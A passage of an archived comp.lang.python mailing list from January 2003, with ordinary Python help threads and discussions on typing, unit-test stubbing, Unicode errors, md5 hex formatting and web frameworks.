TEL;TYPE=fax,work:		+1(805)497-5050
TEL;TYPE=cell,voice,msg:	+1(805)377-6762
END:				vcard





From mwm at mired.org  Fri Jan 10 10:11:32 2003
From: mwm at mired.org (Mike Meyer)
Date: Fri, 10 Jan 2003 15:11:32 GMT
Subject: Typing (Was: Novel Thoughts on Scripting and Languages)
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org> <52719db8.0301071942.7d23cc46@posting.google.com> <mailman.1042038801.29977.python-list@python.org> <52719db8.0301082116.50572416@posting.google.com> <avj741$r77$1@slb3.atl.mindspring.net> <52719db8.0301092211.60ae0618@posting.google.com>
Message-ID: <x7fzs1t4yf.fsf_-_@guru.mired.org>

judoscript at hotmail.com (James Huang) writes:
> > Python is dynamically typed, strongly typed, supports multiple
> > inheritance, allows user-classed to redefine how they work with
> > operators like +, -, *, [], etc., allows a mixed OO and
> > declarative programming style, has a highly dynamic runtime
> > where I can even change an object's class on the fly, and
> If you can change the class on the fly, does this break the
> strong-typedness? It's sort like (void*). JudoScript does the same
> thing, because an object, after all, is a map with a list of
> associated methods/functions; unless, of course, it is a Java object
> or ActiveX.

No, this doesn't break the strong typing, because of the way python
handles typing. The concern when you are dealing with an objects isn't
"Is this object of a specific type/class", it's "Does this object
support specific operations/methods." Changing the class of an object
on the fly changes the former, but not the latter.

> It's the statical typing that make strong-typedness a big help for
> boosting software quality -- the compiler! And that's what makes me
> wonder people implement big software without the help of compilers.

Actually, static typing doesn't do anything for software
quality. Strong typing does. Static typing helps improve performance,
because the compiler can assume that a variable is of a givent type,
and hence not have to check the type at run-time. This is important
enough that some Lisp compilers let you declare the type, and that
people have built tools to infer the type of variables from the
context for the compiler.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From t_beaty at mchsi.com  Fri Jan 10 08:18:40 2003
From: t_beaty at mchsi.com (Travis Beaty)
Date: Fri, 10 Jan 2003 13:18:40 GMT
Subject: Mail<->News gateway [was Re: Do pythons like sugar?]
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>	 <6h8r1vkl2qfe8e99dvn5n3lmphngrar2h2@4ax.com> <mailman.1042150247.26901.python-list@python.org> <MBzT9.8750$%n.1439@sccrnsc02>
Message-ID: <QKzT9.632582$WL3.196381@rwcrnsc54>

Travis Beaty wrote:
> I'd have to agree where these recent posts are concerned.  During the 
> previous 12 hours I've gotten a half done ...

That should have read half dozen.  I'm just half awake.

Travis Beaty
Mason City, Iowa.




From sholden at holdenweb.com  Wed Jan 15 08:41:54 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Wed, 15 Jan 2003 13:41:54 GMT
Subject: Automating Web Interfaces with Python
References: <mailman.1042572205.4047.python-list@python.org> <v295n7inf1k742@corp.supernews.com> <v297q6dunseo0c@corp.supernews.com>
Message-ID: <CydV9.2746$YI5.2336@news2.central.cox.net>

"Christian Reyes" <creyes at ea.com> wrote ...
> Yes Cameron,
> You've very succinctly identified the situation.
> Your recommendation is exactly what I am looking for.  I think we are one
> post away from closing this thread. :)
> Christian
>
[Cameron Laird]
> > So:  my recommendation is that this thread start back at the
> > beginning.  Mr. Reyes, how will you know when you're done?  If
> > we can teach you how to automate retrieval of the content of
> > one Web page, with parametrized forms values and such, will you
> > be substantially nearer your goal?
>
I *very* much doubt that - this is c.l.py, remember :-)

always-happy-to-create-a-self-fulfilling prophecy-ly y'rs - steve
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From dsegan at STOPSPAM.gmx.net  Thu Jan 16 08:47:30 2003
From: dsegan at STOPSPAM.gmx.net (=?ISO-8859-1?Q?Danilo_S=28egan?=)
Date: Thu, 16 Jan 2003 14:47:30 +0100
Subject: Convert seconds in minutes, hours, days, years ...
References: <399d6c30.0301160510.38703bfe@posting.google.com>
Message-ID: <b06dll$kim$1@terra.news.tehnicom.net>

Loko wrote:
> Hello
> 
> Isn't there an already package that contains functions to convert a
> number of seconds into year, days, hours, minutes and seconds ?
> 
If I understand correctly, you need the time module:

 >>> import time
 >>> time.localtime(10000000000)
(2014, 9, 7, 6, 50, 8, 6, 250, 1)
 >>> time.gmtime(10000000000)
(2014, 9, 7, 4, 50, 8, 6, 250, 0)
 >>> help(time)

The actual number of seconds is a number of seconds since the start of 
year 1970.

If I misunderstood, and you needed to convert seconds to fraction of 
hours, days, and so forth (but just one of them), you use the builtin 
float type:

 >>> seconds=3445561.0
 >>> mins=seconds/60
 >>> hours=mins/60
 >>> days=hours/24
 >>> years=days/365.2422
 >>> (seconds,mins,hours,days,years)
(3445561, 57426.01666666667, 957.10027777777782, 39.879178240740742, 0.10918557122024986)


> Do I have to write it ?
> 
I guess not.

Regards,
Danilo





From grante at visi.com  Sun Jan  5 11:37:08 2003
From: grante at visi.com (Grant Edwards)
Date: 05 Jan 2003 16:37:08 GMT
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <d8mf1vsm6271d5m4nao9t91dcs7m865n82@4ax.com>
Message-ID: <slrnb1go12.kv8.grante@localhost.localdomain>

In article <d8mf1vsm6271d5m4nao9t91dcs7m865n82 at 4ax.com>, Afanasiy wrote:
> On Sun, 5 Jan 2003 01:40:25 -0500, "Etienne Charland"

> As far as I know, Python has nothing as good as the .NET WinForms
> wrapping of native Win32 interface components. Mark Hammond has wrapped
> MFC, but that does not compare to WinForms.

I don't know much about WinForms, but wxWindows and Gtk both provide
nice frameworks around native Win32 UI components.

-- 
Grant Edwards                   grante             Yow!  I love FRUIT
                                  at               PICKERS!!
                               visi.com            



From cb at orcl.net  Sun Jan 19 23:14:51 2003
From: cb at orcl.net (Christian Bretterklieber)
Date: 20 Jan 2003 04:14:51 GMT
Subject: Unicode error in exefied Python script
Message-ID: <b0ft3r$omcf2$1@ID-75629.news.dfncis.de>

Hi,

  I have a problem with a Python script that I want to make executable
on Win2K (I'm using ActivePython 2.2.1 in case that matters). The
script does some database stuff. The exefied version (both with py2exe
and Gordon McMillan's Installer) on a simple statement:

  stmt = "UPDATE blah SET val1 = '%s', [...]" % (row[xval1],...)

  The error message it throws is "UnicodeError: ASCII decoding error:
Ordinal not in range (128)". Interestingly enough, the script as is
works, just not the exefied version (The --packages encodings option to
py2exe was given, of course).

  I searched the web for this error message and tried some of the advice
I found (creating a sitecustomize.py; changing the default encoding in
site.py). None of this helped, though. What also puzzles me is the fact
that an older version of the program works (exefied on the same system).
The program has undergone some major changes meanwhile but the code in
question was just copied and pasted from the old version.

  Any ideas?

TIA,

c/hris.

-- 
Quitting vi is the most important command of that editor,
and should be bound to something easy to type and available
in all modes, for example the space bar.
                               -- Per Abrahamsen



From mike at bindkey.com  Wed Jan 22 20:22:20 2003
From: mike at bindkey.com (Mike Rovner)
Date: Wed, 22 Jan 2003 17:22:20 -0800
Subject: Outlook Express and COM
References: <mailman.1043202040.26582.python-list@python.org> <phGX9.93643$H7.3979436@news2.calgary.shaw.ca>
Message-ID: <b0ng1p$mjg$1@main.gmane.org>

"John E. Barham" <jbarham at jbarham.com> wrote in message
news:phGX9.93643$H7.3979436 at news2.calgary.shaw.ca...

> I'd much prefer to stay w/ Python but I'm assuming that I'll have to do
the
> final version in C++ not so much for the performance benefits as that a
C++
> binary will presumably be easier to install and run w/ a whizzy UI on
> Windows without scaring my users.

Not a bit.
When I wrote my app with wxPython and packed with McMillan's installer,
noone noticed it's not a native C++ MFC app. :)

Mike







From hancock at anansispaceworks.com  Mon Jan 13 20:49:38 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Tue, 14 Jan 2003 01:49:38 GMT
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] MinimalPython project)
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042458465.10767.python-list@python.org> <avv00s$elh$1@mailgate2.lexis-nexis.com> <mailman.1042503107.13875.python-list@python.org>
Message-ID: <S0KU9.8852$Qr4.881533@newsread1.prod.itd.earthlink.net>

Christian Tismer wrote:
> Thanks, I'm convinced. It is *not* P.

Hey, that sounds cool: "notP".  I like it.

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From p-abel at t-online.de  Wed Jan  8 14:32:40 2003
From: p-abel at t-online.de (Peter Abel)
Date: 8 Jan 2003 11:32:40 -0800
Subject: Generate variables at run time?
References: <VyPS9.6818$xs6.347786501@newssvr14.news.prodigy.com>
Message-ID: <13a533e8.0301081132.176d9c4c@posting.google.com>

"Byron Morgan" <lazypointer at yahoo.com> wrote in message news:<VyPS9.6818$xs6.347786501 at newssvr14.news.prodigy.com>...
> Is there any way in Python to generate a new variable name based on data? I
> have tried the eval() function, but this gets rejected, if the variable
> doesn't already exist.
> 
> There has to be a way to do this, but I can't find it, probaly because I am
> just starting to learn Python.
> 
> Byron

Hi Holger,
I think this is one of the easiest things
in Python. See the following:

>>> class A:
... 	def __init__(self):
... 		self.var="This ist a programmed variable"
... 	def generate_a_new_variable(self,var_name,var_value):
... 		self.__dict__[var_name]=var_value
... 	def show_instance_attributes(self):
... 		for (name,value) in self.__dict__.items():
... 			print "%s = %s"%(name,str(value))
... 
>>> a=A()
>>> a.show_instance_attributes()
var = This ist a programmed variable
>>> print a.var
This ist a programmed variable
>>> # Now we generate a new variable
>>> a.generate_a_new_variable('NewVar',12345)
>>> print a.NewVar
12345
>>> a.show_instance_attributes()
var = This ist a programmed variable
NewVar = 12345
>>> # Now we generate the next new variable
>>> a.generate_a_new_variable('ListVar',[1,2,3,'ListItem Nr. 4'])
>>> print a.ListVar
[1, 2, 3, 'ListItem Nr. 4']
>>> a.show_instance_attributes()
var = This ist a programmed variable
ListVar = [1, 2, 3, 'ListItem Nr. 4']
NewVar = 12345
>>> # Now we generate a dictionary
>>> a.generate_a_new_variable('DictVar',{'a':1234,'b':678,999:'This ist 999'})
>>> print a.DictVar
{'a': 1234, 'b': 678, 999: 'This ist 999'}
>>> a.show_instance_attributes()
var = This ist a programmed variable
DictVar = {'a': 1234, 'b': 678, 999: 'This ist 999'}
ListVar = [1, 2, 3, 'ListItem Nr. 4']
NewVar = 12345
>>> # And so on

Hope I could help you.
Best Regards
Peter



From jerf at compy.attbi.com  Mon Jan 13 19:24:43 2003
From: jerf at compy.attbi.com (jerf at compy.attbi.com)
Date: Tue, 14 Jan 2003 00:24:43 GMT
Subject: Is it advisable to replace 'self' with '_' or 'I' or something
References: <f57664b9.0301110959.5b1439da@posting.google.com> <3E210503.9A4F4AC8@alcyone.com> <4CuI+ks/K3jd089yn@the-wire.com>
Message-ID: <pan.2003.01.13.19.24.40.854904@compy.attbi.com>

On Mon, 13 Jan 2003 10:52:24 -0500, Mel Wilson wrote:
>    As a tiny addition: I seem to find it more useful to
> rebind entire variables, so that I write
> 
>     t = self.tree
>     t.yadayada()
>     t.usw ()
> 
> rather than
> 
>     s = self
>     s.tree.yadayada()
>     s.tree.usw ()

This hews close to one of my pet peeves, which I see a *lot* of in Windows
C++ code, anything that looks like this:

this->frame.lexFromMextex[1].account[UGLY_CONSTANT]++.EXTRACT_NUMBER(2);

For the love of pete, rebind a few things so it looks more sensible. (The
compiler has to anyhow in compiled languages like C++...)

In particular, take the opportunity to do something meaningful if
possible. Maybe "this->frame.lexFromMextex" is really the
"billingFrameIterator" or something. (You'd probably abbreviate Iterator
to It, but still...)



From judoscript at hotmail.com  Thu Jan  9 01:30:19 2003
From: judoscript at hotmail.com (James Huang)
Date: 8 Jan 2003 22:30:19 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <dcuk1vgg1vel593evttuc99f9m5eq646i5@4ax.com> <b03e80d.0301070427.6db0ff67@posting.google.com> <52719db8.0301072113.3c143cfe@posting.google.com> <b03e80d.0301080707.32fa64a5@posting.google.com>
Message-ID: <52719db8.0301082230.2a76f1bf@posting.google.com>

sandskyfly at hotmail.com (Sandy Norton) wrote in message news:<b03e80d.0301080707.32fa64a5 at posting.google.com>...
> judoscript at hotmail.com (James Huang) wrote in message 
> 
> > So you went to the whitepaper, searched on "jython" in the browser and
> > finished your research (actually, search)? Doing a language is a huge
> > undertaking; it would indeed be ludicrous to start one without looking
> > around first.
> 
> I didn't merely search on 'jython', I actually followed some of the
> examples through. Actually, it first reminded me a little bit of rebol
> which has some nifty high level commands like "send person at address.com
> file.txt". My initial reaction to that was "wow, that's cool... let me
> try rebol out". After a few attempts to use the language, I got
> somewhat frustrated with the syntax and semantics and decided to write
> a module called 'rebol.py' instead, implementing the functionality I
> could use on top of the python standard library infrastructure. So now
> I can write
> 
> >>> from rebol import send
> >>> send('person at address.com', 'file.txt')
> 
> My approach to your examples would be similar. I would use elements of
> the python standard library and implement my 'preferred level' of
> abstraction.
> 
> so for this particular example:
> 
> > -------------------------------------
> > copy '*.java, *.jj' in '~/src/' except '*Test*, *test*'
> >      recursive
> >      into '~/archive/src_' @ date().fmtDate('yyyy-MM-dd') @ '.jar';
> > -------------------------------------
>  
> >>> from pathlib import Path
> >>> from time import strftime, gmtime
> >>> src = Path('~/src/', 
>             glob=['*.java', '*.jj'], 
>             skip=['*Test*', '*test*'], 
>             recursive=True)
> 
> >>> dst = Path(r'~/archive/src_') + strftime("%y-%m-%d", gmtime()) +
>  '.zip'
> >>> src.copy(dst)
> 
> Now your example may be shorter, but I daresay mine is a little bit

Pls refer to my response to Neil Hodgson, if you like.

> more flexible, as I could now do:
> 
> >>> src.delete()
> 
> I applaud your efforts to develop a language that conforms to your
> needs... but somehow, I just prefer Python.

Thank you, I understand.

> 
> Sandy

-James



From geoff at gerrietts.net  Fri Jan 31 13:15:18 2003
From: geoff at gerrietts.net (Geoff Gerrietts)
Date: Fri, 31 Jan 2003 10:15:18 -0800
Subject: testing is easier in python
In-Reply-To: <7h3hebpwc43.fsf@pc150.maths.bris.ac.uk>
References: <1043966994.2227.113.camel@refugeeMedia> <mailman.1043972709.6338.python-list@python.org> <7h3hebpwc43.fsf@pc150.maths.bris.ac.uk>
Message-ID: <20030131181518.GG22043@isis.gerrietts.net>

Quoting Michael Hudson (mwh at python.net):
> Subject: Re: Python Success Stories or Nightmares
[...]
> Geoff Gerrietts <geoff at gerrietts.net> writes:
> 
> > Good stuff:
> [...]
> > - Unit tests are amazingly easy to write, since you can "stub in"
> >   dependencies in lots of different ways.
> 
> I recently got smacked in the face (in a good way) by this one, so I
> thought I'd quote it in isolation to make sure everyone read it.
> 

I think it's worth explaining, too, but I'm not sure this is the
thread to do it in, so I'm changing the subject line. It's worth
explaining because I've seen the topic of unit tests come up in other
threads, and I saw someone make the claim that testing is
a language-neutral solution. I don't believe that. Here's why.

I've written unit tests for Java, C, and C++ programs before. Perhaps
ironically, the C and C++ versions are probably easier to write than
the Java versions. None of the three are particularly easy to write,
though. Python makes writing unit tests easy.

When you sit down to write a unit test, you hafta look at what the
software you're trying to test, does. Sometimes, it's a pretty simple
transformation. That is, arguments go in, and outputs come out. The
only other impacting factor might be state that is internal to your
object, which you can presumably control.

  arguments --> [ big black box of code ] --> output

In the more interesting case, though, your code has additional
external dependencies. An easy example is a reliance on time.time().

  arguments --> [ big black box of code ] --> output
                   |              ^
                   v              |
                [ external lump of code ]

Now, in a testing situation, you must manage the inputs and outputs of
the external code as well as the arguments. You may be able to
envision several ways of doing this in Java or C++; the most typical
method I have seen is to create a facade object that can detect
whether you are in "test mode" or "deployment mode". In "test mode",
the facade returns a constant. In "deployment mode" it returns the
result of the actual system call.

This solution leaves a few things to be desired: it doesn't allow for
different tests wanting different constants, it adds logic to the
app-as-built, etcetera.

In Python, you can also do this, if you're the sort who likes that
kind of bondage. But Python's more flexible than that: you can also
just "replace" time.time with a stub that does the right thing.

  import my_module_to_be_tested
  my_module_to_be_tested.time.time = my_stub

Now, this does have some consequence, since it's changing time.time
for everyone. But if that's going to pickle your gizzard, you can opt
instead to write a local testing_time module, with stubs you can swap
at your leisure, and re-assign my_module_to_be_tested.time instead:
safer, with only incrementally more trouble.

In the C and C++ worlds, you can accomplish something like this by
choosing how you link your applications. It's not as elegant, not as
easy, and not as powerful, but it can be done. I am not aware of how
you can do this in Java without sacrificing the practicality of the
test environment.

Once this idiom has been mastered, applications spring up everywhere.
Now, you're not likely to want to (or /need/ to) do this in your
production code (though the timeoutsocket library uses a similar
trick), but when you're building tests or other meta-applications,
it's remarkably powerful.

Thanks,
--G.

-- 
Geoff Gerrietts <geoff @ gerrietts.net> "Many a man's reputation would not 
                                         know his character if they met on 
http://www.gerrietts.net/                the street." --Elbert Hubbard




From benthamilton at hotmail.com  Thu Jan  2 00:16:25 2003
From: benthamilton at hotmail.com (Benjamin Travis Hamilton)
Date: 1 Jan 2003 21:16:25 -0800
Subject: GUI-programming
References: <mailman.1041462676.14469.python-list@python.org>
Message-ID: <dff20fdc.0301012116.767a7ff8@posting.google.com>

Frederik Fuest <ffrederik at gmx.de> wrote in message news:<mailman.1041462676.14469.python-list at python.org>...
> Hi,
> 
> I would like to programm my GUI, that you can start more than one
> process at the same time by e.g. clicking different buttons. 
> 
> Could anybody help me with this?
> 
> thx
> 
> Frederik

If you do a google search on Boa constructor (and wxPython
documentation) you will find it to be a most useful RAD GUI tool.  It
uses wxWindows and wxPython as a windowing framework and it even has a
class called wxThread which should do what you want it to do if the
ones standard in python do not suffice.  I had problems with getting
the python threads to die on command ex: ButtonRun, and ButtonStop.

-Ben



From lac at strakt.com  Fri Jan 10 11:24:15 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 10 Jan 2003 17:24:15 +0100
Subject: Urgent. ImportError: No module named _socket 
In-Reply-To: Message from "Manos Papagelis" <papaggel@ics.forth.gr> 
   of "Fri, 10 Jan 2003 15:15:16 +0200." <006d01c2b8aa$525a35b0$04b75b8b@ics.forth.gr> 
References: <006d01c2b8aa$525a35b0$04b75b8b@ics.forth.gr> 
Message-ID: <200301101624.h0AGOFjL019928@ratthing-b246.strakt.com>

First of all, can you please not send html mail, but plain ascii to
the list.  Thank you.

Secondly, this is often a permissions problem which you can get if
you install Python with a restrictive umask.  You are looking for
a file called _socketmodule.so in a file called (I think)
/usr/local/lib/python2.1/lib-dynaload/

The file is probably there, but you need to make the file readable
by everybody.  

Laura Creighton



> This is a multi-part message in MIME format.
> 
> ------=_NextPart_000_006A_01C2B8BB.14AAACC0
> Content-Type: text/plain;
> 	charset="iso-8859-7"
> Content-Transfer-Encoding: quoted-printable
> 
> Hi,
> 
> I am trying to set up an application developped in python (Cyberchair) =
> but i have a problem that seems serious.
> 
> When trying to import socket module an importError is occured as =
> follows.
> 
>     ImportError: No module named _socket
> 
> I have read some suggestions on how to solve the problem but they do not =
> apply to my occasion, or I have something done wrong.
> 
> I use python 2.1 on Solaris 8
> 
> Plz if anyone knows how to solve the problem mail me=20
> 
> thanks,
> 
> - Manos Papagelis
> 
> ------=_NextPart_000_006A_01C2B8BB.14AAACC0
> Content-Type: text/html;
> 	charset="iso-8859-7"
> Content-Transfer-Encoding: quoted-printable
> 
> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
> <HTML><HEAD>
> <META http-equiv=3DContent-Type content=3D"text/html; =
> charset=3Diso-8859-7">
> <META content=3D"MSHTML 6.00.2722.900" name=3DGENERATOR>
> <STYLE></STYLE>
> </HEAD>
> <BODY bgColor=3D#ffffff>
> <DIV><FONT face=3DArial size=3D2>
> <DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
> <DIV><FONT face=3DArial size=3D2>I am trying to set up an application =
> developped in=20
> python (Cyberchair) but i have a problem that seems =
> serious.</FONT></DIV>
> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
> <DIV><FONT face=3DArial size=3D2>When trying to import socket module an =
> importError=20
> is occured as follows.</FONT></DIV>
> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
> <DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; ImportError: No =
> module named=20
> _socket</FONT></DIV>
> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
> <DIV><FONT face=3DArial size=3D2>I have read some suggestions on how to =
> solve the=20
> problem but&nbsp;they do not apply to my occasion, or&nbsp;I have =
> something done=20
> wrong.</FONT></DIV>
> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
> <DIV><FONT face=3DArial size=3D2>I use python 2.1 on Solaris =
> 8</FONT></DIV>
> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
> <DIV><FONT face=3DArial size=3D2>Plz if anyone knows how to solve the =
> problem mail=20
> me </FONT></DIV>
> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
> <DIV><FONT face=3DArial size=3D2>thanks,</FONT></DIV>
> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
> <DIV><FONT face=3DArial size=3D2>- Manos=20
> Papagelis</FONT></DIV></FONT></DIV></BODY></HTML>
> 
> ------=_NextPart_000_006A_01C2B8BB.14AAACC0--
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list




From geoff at gerrietts.net  Thu Jan 30 19:21:33 2003
From: geoff at gerrietts.net (Geoff Gerrietts)
Date: Thu, 30 Jan 2003 16:21:33 -0800
Subject: converting data to hex
In-Reply-To: <Q0j_9.1511$Ir1.259@newssvr16.news.prodigy.com>
References: <Q0j_9.1511$Ir1.259@newssvr16.news.prodigy.com>
Message-ID: <20030131002133.GD18449@isis.gerrietts.net>

Quoting Mark Harrison (mh at pixar.com):
> warning: newbie alert!
> 
> I've got an md5 digest and would like to print it as
> a hex value, but I can't get the individual hex value
> formatted.  Can someone loan me a clue?
> 
> import md5
> d = md5.new("foo")
> for x in d.digest():
>     print "a", ("%02x" % x)  ## how do I convert x to int???

def make_digest(myStr):

    template = '%02x' * 16

    value = tuple(map(ord,md5.new(myStr).digest()))

    return template % value



-- 
Geoff Gerrietts            "Democracy is a form of government that substitutes 
geoff at gerrietts dot net  election by the incompetant many for appointment 
http://www.gerrietts.net/   by the corrupt few." --George Bernard Shaw




From markus_wankus at hotmail.com  Sat Jan 18 11:36:09 2003
From: markus_wankus at hotmail.com (Markus Wankus)
Date: Sat, 18 Jan 2003 11:36:09 -0500
Subject: Python COM win32ui examples/tutorials?
In-Reply-To: <b096ec$35m$1@norfair.nerim.net>
References: <opri5cpwci8cxiwf@news1.on.sympatico.ca> <b096ec$35m$1@norfair.nerim.net>
Message-ID: <opri7e2j0l8cxiwf@news1.on.sympatico.ca>

Thanks, Gilles.

I found a useful doc on ActiveState, and I have just borrwed a bible on the 
windows API as well.  Mark's book will be next.

Markus.

On Fri, 17 Jan 2003 16:24:44 +0100, Gillou <nospam at bigfoot.com> wrote:

> "Markus Wankus" <markus_wankus at hotmail.com> a ?crit dans le message de 
> news:
> opri5cpwci8cxiwf at news1.on.sympatico.ca...
>> Hi,
>>
> Hi,
>
> There are some more docs about this at www.activestate.com (API, samples)
> Buying and reading Mark's book is the best idea if you plan to work hard
> with win32xx packages.
> In addition you need microsoft doc on the MFC (Windows API)
>
> --Gilles



From python at dylanreinhardt.com  Sat Jan 18 23:32:21 2003
From: python at dylanreinhardt.com (Dylan Reinhardt)
Date: Sat, 18 Jan 2003 20:32:21 -0800
Subject: __parent__ - like attribute?
In-Reply-To: <20030119042031.C9768@prim.han.de>
References: <5.1.1.6.0.20030118165504.01d41718@www.dylanreinhardt.com>
 <av7cuu$cu2$1@slb0.atl.mindspring.net>
 <YhlS9.24314$NB4.6001@FE05>
 <just-7E53B7.22115906012003@news1.news.xs4all.nl>
 <5.1.1.6.0.20030118165504.01d41718@www.dylanreinhardt.com>
Message-ID: <5.1.1.6.0.20030118203028.01d57db8@www.dylanreinhardt.com>

At 07:20 PM 1/18/2003, holger krekel wrote:

>So the answer is: you can't do anything like this without
>defining exact semantics and then doing some "interesting"
>hacks to approximately get that.
>
>     holger


Thanks... at least now I don't feel so bad for not figuring it out on my 
own. :-)

But that gives me some stuff to look further into.

Dylan





From adalke at mindspring.com  Thu Jan  9 02:00:11 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 09 Jan 2003 00:00:11 -0700
Subject: Novel Thoughts on Scripting and Languages
In-Reply-To: <52719db8.0301082116.50572416@posting.google.com>
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org> <52719db8.0301071942.7d23cc46@posting.google.com> <mailman.1042038801.29977.python-list@python.org> <52719db8.0301082116.50572416@posting.google.com>
Message-ID: <avj741$r77$1@slb3.atl.mindspring.net>

James Huang:
> As I said, "I guess"-ed. Weakly-typed-ness, are variables required to
> be declared with types before use, and do not change for most
> situations? I know VB has a strict mode that enforces this.

That's static typing.  C is statically typed, but weakly typed.
For example, in C you can add a pointer, and integer, and a character,
but the types are all declared.

Python is strongly typed and dynamically typed.  There are no pointers,
and integers and strings cannot be added.

Perl is weakly typed and dynamically typed.

Java is strongly typed and statically typed.  (Though normally
I would use Eiffel as an example.)

 > Java and Python are so
> similar to each other in terms of programming models, conceptually it
> is hard for me to see which has a clear advantage. We have big Java
> software products like Weblogic, WebSphere, etc. (funny Sun has none,
> or, none that is successful.)

Similar?  Hmm ... How so?

I've seen Java programmers who start writing Python code.  Their
code is distinctively not Pythonic.

Python is dynamically typed, strongly typed, supports multiple
inheritance, allows user-classed to redefine how they work with
operators like +, -, *, [], etc., allows a mixed OO and
declarative programming style, has a highly dynamic runtime
where I can even change an object's class on the fly, and
lets me work interactively, so I can query objects while I'm
experimenting with them.

Java is statically typed, strongly typed, only allows single
inheritance, doesn't allow operator redefinition (making for
horrible constructs like myString1.concat(myString2) instead
of myString1 + myString2), only allows OO programming (but
fakes functions by using a static method - blech!) and  ...
well, I know very little about Java's runtime but I suspect
you can't easily change classes around.  And it has a
separate compile-run environment which makes it hard to work
with your objects directly.

OTOH, compared to APL or Prolog, Java and Python are busom
buddies.

James Huang:
 >>>Even so, Java is still unbeatable.

Dave Brueck:
>>I feel the same way about the color 'forest green'. Surely on that basis
>>alone people will come around to my way of thinking, right?

James Huang:
> Not so sure what you mean but that's ok.

I'm rather partial to a dark green color myself.  Doesn't
mean everyone else will join us in that prejudice.  Nor
should they.  My girlfriend like brown, and those two colors
complement each other well.

It's your belief that Java is unbeatable.  I and others have
different opinions, and they we aren't going to change
any time soon.

					Andrew
					dalke at dalkescientific.com




From marcin at finisar.com  Mon Jan 20 14:06:47 2003
From: marcin at finisar.com (Marcin Matuszkiewicz)
Date: 20 Jan 2003 11:06:47 -0800
Subject: 2D lists
Message-ID: <c7486c63.0301201106.681eece8@posting.google.com>

In the code below I created a two dimensional list in two ways.  List
b behaves I expect, list a does not.  Could someone explain it?

>>> a=[[0]*4]*2
>>> a
[[0, 0, 0, 0], [0, 0, 0, 0]]
>>> a[0][0]=1
>>> a
[[1, 0, 0, 0], [1, 0, 0, 0]]
>>> b=[[0, 0, 0, 0], [0, 0, 0, 0]]
>>> b[0][0]=1
>>> b
[[1, 0, 0, 0], [0, 0, 0, 0]]
>>>

Thanks,

Marcin



From skip at pobox.com  Mon Jan 27 18:02:08 2003
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 27 Jan 2003 17:02:08 -0600
Subject: .pyc files
In-Reply-To: <SHiZ9.2867$zI3.18023571@news-text.cableinet.net>
References: <SHiZ9.2867$zI3.18023571@news-text.cableinet.net>
Message-ID: <15925.47728.925233.14551@montanaro.dyndns.org>

    newt> From a command line, how do I create pyc files? I know I can do it
    newt> from within IDLE, but I want to use a different editor (for other
    newt> languages).

A side effect of executing 

    import modname

is generally to create a modname.pyc file in the same directory as the
modname.py source.  If this isn't sufficient, check the docs for the
__import__() and compile() builtins.

Skip




From abelikov72 at hotmail.com  Tue Jan 21 01:41:26 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Tue, 21 Jan 2003 06:41:26 GMT
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <mailman.1043128786.32145.python-list@python.org>
Message-ID: <45qp2v0488fss981maanr3f2nr6a9as48m@4ax.com>

On Tue, 21 Jan 2003 16:58:41 +1100, Richard Jones wrote:

>On Tue, 21 Jan 2003 4:16 am, Afanasiy wrote:

>> * Be as fast or faster than Apache+PHP
>
>Not much is going to be faster than Apache+PHP. Python can certainly reach the 
>same or similar speeds though.

In my commandline scripting tests, Python always beats PHP...
What would stop a new Apache+Python integration project from being faster?

>> * Use a similar amount of memory
>>   (ie. not Java/.NET related)
>
>This is pretty open-ended. Suffice to say though that Python doesn't consume 
>wads of memory on its own. The rest is up to your application.

I primarily meant to exclude suggestions which would involve
anything using noticeably large amounts of memory, such as Java.

>> * Provide a fairly equivalent framework w/ sessions, cookies, get, post
>>   (Described in http://www.boddie.org.uk/python/web_frameworks.html)
>>   (eg. I should not have to write code to parse query strings, etc.)
>>   (PHP is somewhat unique in the ways it can bring in post variables)
>
>I'm confused. A number of the frameworks on the page you link there support 
>all of the above. Are you stating that this is a requirement that isn't met 
>(which it clearly is) or that it _is_ met?

It is explicitly documented as one of many requirements. This is perhaps
the most basic requirement, but there are certainly solutions which do not
implement the basics of a web framework. However, yes, many do.

>> * Big plus, but optional, auto prepend/append files
>>   (eg. Apache+PHP has .htaccess directives like this )
>>   (    php_value auto_prepend_file "_header.php"     )
>>   (    php_value auto_append_file "_footer.php"      )
>>   (granular down to the directory
>
>That would be dependent on the framework you chose, but they would all support 
>some version of this.

Not from what I have seen. I even imagine implicit vs. explicit would
cause many Python programmers to love writing cascading header/footer
